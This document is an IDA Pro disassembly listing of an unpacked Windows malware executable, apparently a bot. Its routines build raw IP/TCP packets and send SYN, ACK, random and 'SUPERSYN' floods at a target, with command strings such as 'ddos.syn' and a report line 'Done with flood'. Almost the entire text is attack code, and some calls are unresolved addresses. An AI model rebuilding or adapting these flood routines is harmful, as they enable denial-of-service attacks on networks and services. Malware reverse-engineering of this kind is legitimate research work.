;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	89791D3CA9EB3ACED823C949C5AFBDB5

; File Name   :	u:\work\89791d3ca9eb3aced823c949c5afbdb5_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0008C000 ( 573440.)
; Section size in file		: 0008C000 ( 573440.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 2600000h
		push	eax
		call	sub_417300
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h


loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------


loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43F668
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43F668
		mov	[ebp+var_12], ax
		call	sub_41730A
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43F664
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43F668
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2600448h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2600098h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730A
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_14], ax
		call	sub_41730A
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730A
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 2600098h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------


loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------


loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43F700
		pop	esi


loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43F5C8
		mov	eax, ebx


loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730A
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax


loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]


loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172AE
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h


loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25F0962h
		nop


loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h


loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax


loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_43C3E8, 45h
		call	dword_43F668
		cmp	[ebp+var_2C], edi
		mov	word_43C3EA, ax
		mov	word_43C3EC, bx
		mov	word_43C3EE, di
		mov	byte_43C3F0, 80h
		mov	byte_43C3F1, bl
		mov	word_43C3F2, di
		jz	short loc_401687
		call	sub_41730A
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730A
		add	ebx, eax
		push	1
		mov	dword_43C3F4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------


loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	dword_43C3F4, eax


loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_43C3F8, eax
		call	sub_41730A
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FC, dl
		call	sub_41730A
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FD, dl
		call	sub_41730A
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43C3FE, di
		mov	word_43C402, bx
		inc	edx
		mov	word_43C400, dx
		call	sub_41730A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C404
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C3E8
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------


loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h


loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172AE
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h


loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43F668
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		call	near ptr 260086Bh
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx


loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax


loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172AE
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h


loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------


loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43F668
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
